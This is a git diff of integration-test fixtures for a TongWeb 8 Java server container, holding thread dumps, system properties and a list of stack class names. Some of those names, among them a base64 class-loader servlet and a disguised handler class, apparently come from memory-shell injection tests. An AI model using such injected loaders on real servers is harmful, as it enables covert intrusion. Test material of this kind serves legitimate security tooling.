+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-6" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"pool-2-thread-1" #148 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2806b63c
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-0.0.0.0-9060-exec-8" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5c520b2c
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-3" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6f16e9a7
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-5100-ClientPoller-1" #119 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-8080-exec-6" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68ef1acf
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@78331e5e
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
+
+"Thread-32" #142 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11f6aa0c
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+
+===========================================
+
+StackClassNames:
+Base64ClassLoaderServlet
+EmptyFilter
+ServletNameTestFilter
+UrlMappingTestFilter
+com.tongweb.catalina.authenticator.AuthenticatorBase
+com.tongweb.catalina.connector.CoyoteWriter
+com.tongweb.catalina.connector.ThanosCoyoteAdaptor
+com.tongweb.catalina.core.ApplicationFilterChain
+com.tongweb.catalina.core.ContainerBase$ContainerBackgroundProcessor
+com.tongweb.catalina.core.StandardContextValve
+com.tongweb.catalina.core.StandardEngineValve
+com.tongweb.catalina.core.StandardHostValve
+com.tongweb.catalina.core.StandardServer
+com.tongweb.catalina.core.StandardWrapperValve
+com.tongweb.catalina.core.ThanosStandardContextValve
+com.tongweb.catalina.core.ThanosStandardEngineValve
+com.tongweb.catalina.realm.RealmValve
+com.tongweb.catalina.startup.Bootstrap
+com.tongweb.catalina.startup.Catalina
+com.tongweb.catalina.startup.ThanosCatalina
+com.tongweb.catalina.valves.ErrorReportValve
+com.tongweb.config.ConfigTool
+com.tongweb.coyote.AbstractProcessorLight
+com.tongweb.coyote.AbstractProtocol$AsyncTimeout
+com.tongweb.coyote.AbstractProtocol$ConnectionHandler
+com.tongweb.coyote.http11.Http11Processor
+com.tongweb.coyote.http11.ThanosHttp11Processor
+com.tongweb.deploy.DeployTimeoutControlService
+com.tongweb.deploy.DeployTimeoutControlService$1
+com.tongweb.deploy.TongWebDeployer
+com.tongweb.deploy.TongWebDeployer$1
+com.tongweb.deploy.autodeploy.TongWebAutoDeployTask
+com.tongweb.deploy.autodeploy.TongWebAutoDeployer
+com.tongweb.deploy.commands.DeployCommand
+com.tongweb.deploy.util.DeployConfigUtil
+com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer
+com.tongweb.tomee.catalina.OpenEJBValve
+com.tongweb.web.util.net.AbstractEndpoint
+com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4
+com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor
+com.tongweb.web.util.net.NioBlockingSelector$BlockPoller
+com.tongweb.web.util.net.NioEndpoint$Acceptor
+com.tongweb.web.util.net.NioEndpoint$Poller
+com.tongweb.web.util.net.SocketProcessorBase
+com.tongweb.web.util.threads.TWThreadPoolExecutor
+com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker
+com.tongweb.web.util.threads.TaskQueue
+com.tongweb.web.util.threads.TaskThread$WrappingRunnable
+com.tongweb.web.websocket.server.WsFilter
+org.apache.http.client.twewq.ErrorXxfpxHandler
diff --git a/integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb8062ContainerTestBasicInfo.txt
similarity index 86%
rename from integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt
rename to integration-test/src/test/resources/infos/TongWeb8062ContainerTestBasicInfo.txt
index d787525f..ad10ddf9 100644
--- a/integration-test/src/test/resources/infos/TongWeb8ContainerTestBasicInfo.txt
+++ b/integration-test/src/test/resources/infos/TongWeb8062ContainerTestBasicInfo.txt
@@ -1,99 +1,96 @@
-# Generated At 2023-11-01 12:30:00
+# Generated At 2023-11-01 12:30:10
SystemProps:
-java.runtime.name: OpenJDK Runtime Environment
-sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64
-java.vm.version: 25.342-b07
-java.vm.vendor: Oracle Corporation
-java.vendor.url: http://java.oracle.com/
-path.separator: :
-javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
-java.vm.name: OpenJDK 64-Bit Server VM
-file.encoding.pkg: sun.io
+java.vendor: Temurin
sun.java.launcher: SUN_STANDARD
-sun.os.patch.level: unknown
-tongweb.TONGWEB_STARTED_FLAG: true
-java.vm.specification.name: Java Virtual Machine Specification
-user.dir: /opt/tweb8/domains/domain1
-java.runtime.version: 1.8.0_342-b07
-derby.system.home: /opt/tweb8/domains/domain1
-java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
-java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed
-os.arch: aarch64
-java.io.tmpdir: /opt/tweb8/domains/domain1/temp
-line.separator:
-
+sun.management.compiler: HotSpot 64-Bit Tiered Compilers
+os.name: Linux
+sun.boot.class.path: /opt/java/openjdk/jre/lib/resources.jar:/opt/java/openjdk/jre/lib/rt.jar:/opt/java/openjdk/jre/lib/sunrsasign.jar:/opt/java/openjdk/jre/lib/jsse.jar:/opt/java/openjdk/jre/lib/jce.jar:/opt/java/openjdk/jre/lib/charsets.jar:/opt/java/openjdk/jre/lib/jfr.jar:/opt/java/openjdk/jre/classes
+javax.security.jacc.PolicyConfigurationFactory.provider: com.tongweb.tongejb.core.security.JaccProvider$Factory
java.vm.specification.vendor: Oracle Corporation
-java.naming.factory.url.pkgs: com.tongweb.tongejb.core.ivm.naming
+java.runtime.version: 1.8.0_482-b08
+xxx: xxx
+org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
+user.name: root
+tongweb.home: /opt/tweb8
+user.language: en
+java.naming.factory.initial: com.tongweb.tongejb.core.ivm.naming.java.javaURLContextFactory
+derby.system.home: /opt/tweb8/domains/domain1
+sun.boot.library.path: /opt/java/openjdk/jre/lib/amd64
+java.version: 1.8.0_482
java.util.logging.manager: com.tongweb.logger.JulLogManager
-os.name: Linux
+user.timezone: Etc/UTC
+sun.arch.data.model: 64
+java.util.concurrent.ForkJoinPool.common.threadFactory: com.tongweb.web.util.SafeForkJoinWorkerThreadFactory
+java.endorsed.dirs: /opt/java/openjdk/jre/lib/endorsed
+sun.cpu.isalist:
sun.jnu.encoding: UTF-8
-java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib
-tongweb.home: /opt/tweb8
+file.encoding.pkg: sun.io
+file.separator: /
java.specification.name: Java Platform API Specification
+tongejb.version: 8
java.class.version: 52.0
-sun.management.compiler: HotSpot 64-Bit Tiered Compilers
-os.version: 6.14.10-orbstack-00291-g1b252bd3edea
-java.util.concurrent.ForkJoinPool.common.threadFactory: com.tongweb.web.util.SafeForkJoinWorkerThreadFactory
-user.home: /root
-user.timezone: Etc/UTC
-java.awt.printerjob: sun.print.PSPrinterJob
-file.encoding: UTF-8
-java.specification.version: 1.8
+user.country: US
+java.home: /opt/java/openjdk/jre
+java.vm.info: mixed mode
+os.version: 6.8.0-111-generic
+sun.font.fontmanager: sun.awt.X11FontManager
+path.separator: :
+java.vm.version: 25.482-b08
bval.in-container: true
+java.awt.printerjob: sun.print.PSPrinterJob
+sun.io.unicode.encoding: UnicodeLittle
+java.specification.maintenance.version: 6
+awt.toolkit: sun.awt.X11.XToolkit
tongweb.base: /opt/tweb8/domains/domain1
+java.naming.factory.url.pkgs: com.tongweb.tongejb.core.ivm.naming
+java.security.egd: file:/dev/./urandom
+user.home: /root
+java.specification.vendor: Oracle Corporation
+java.library.path: /usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
+java.vendor.url: https://adoptium.net/
+java.vm.vendor: Temurin
+java.runtime.name: OpenJDK Runtime Environment
+sun.java.command: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar startd &
java.class.path: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar:/opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar
-user.name: root
-noBanner: true
-java.naming.factory.initial: com.tongweb.tongejb.core.ivm.naming.java.javaURLContextFactory
-tongweb.version: 8
+java.vm.specification.name: Java Virtual Machine Specification
java.vm.specification.version: 1.8
-sun.java.command: /opt/tweb8/version8.0.6.2/boot/tongweb-bootstrap.jar start
-java.home: /usr/local/openjdk-8/jre
-sun.arch.data.model: 64
-user.language: en
-java.specification.vendor: Oracle Corporation
-com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
-awt.toolkit: sun.awt.X11.XToolkit
-java.vm.info: mixed mode
-java.version: 1.8.0_342
-java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
-sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
-java.awt.headless: true
-java.vendor: Oracle Corporation
-org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
-java.security.egd: file:/dev/./urandom
-file.separator: /
-tongejb.version: 8
-java.vendor.url.bug: http://bugreport.sun.com/bugreport/
-sun.font.fontmanager: sun.awt.X11FontManager
-sun.io.unicode.encoding: UnicodeLittle
sun.cpu.endian: little
+sun.os.patch.level: unknown
+java.awt.headless: true
+tongweb.TONGWEB_STARTED_FLAG: true
+java.io.tmpdir: /opt/tweb8/domains/domain1/temp
+java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
java.rmi.server.hostname: 127.0.0.1
-sun.cpu.isalist:
+os.arch: amd64
+java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
+java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
+user.dir: /opt/tweb8/domains/domain1
+line.separator:
+
+java.vm.name: OpenJDK 64-Bit Server VM
+com.tongweb.tongejb.core.security.JaccProvider: com.tongweb.tongejb.core.security.jacc.BasicJaccProvider
+tongweb.version: 8
+file.encoding: UTF-8
+noBanner: true
+java.specification.version: 1.8
===========================================
ThreadStacks:
-"TW-0.0.0.0-8088-6" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-periodic-5" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Timer-Cache" #16 daemon [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.server.util.Utils$b$a.run(Unknown Source)
-
-"TW-0.0.0.0-9060-5" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b
+"TW-0.0.0.0-9060-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16dc07ea
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -107,7 +104,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-BlockPoller" #32 daemon [RUNNABLE]
+"TW-0.0.0.0-9060-BlockPoller" #31 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
@@ -116,19 +113,7 @@ ThreadStacks:
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
at com.tongweb.web.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:295)
-"TW-Console-Scheduled-2" #96 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@67bd70cb
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"TW-0.0.0.0-9060-ClientPoller" #71 daemon [RUNNABLE]
+"TW-0.0.0.0-8080-ClientPoller" #80 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
@@ -138,7 +123,17 @@ ThreadStacks:
at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1316)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-4" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-0.0.0.0-9060-Acceptor" #66 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:499)
+ at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:48)
+ at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:73)
+ at java.lang.Thread.run(Thread.java:750)
+
+"TW-0.0.0.0-8080-5" #74 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@12e381e9
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -152,34 +147,43 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-periodic-1" #73 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"GC Daemon" #30 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@57e10dd1
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at sun.misc.GC$Daemon.run(GC.java:117)
+
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@10e96a96
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188)
+
+"TW-Server-Thread-1" #19 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-8088-10" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41c72c44
+"TW-Server-Thread-5" #23 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-Server-Thread-1" #19 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3b9f7ef5
+"TW-Server-Thread-10" #28 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -191,37 +195,32 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"TW-periodic-7" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@43c2cfc5
+"TW-Server-Thread-9" #27 daemon [WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@66fcdc36
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:458)
+ at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
+ at java.util.concurrent.SynchronousQueue.take(SynchronousQueue.java:924)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"TW-0.0.0.0-9060-2" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2c592b
+"TW-periodic-10" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@181bea99
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:17)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:47)
at java.lang.Thread.run(Thread.java:750)
-"Signal Dispatcher" #4 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
-
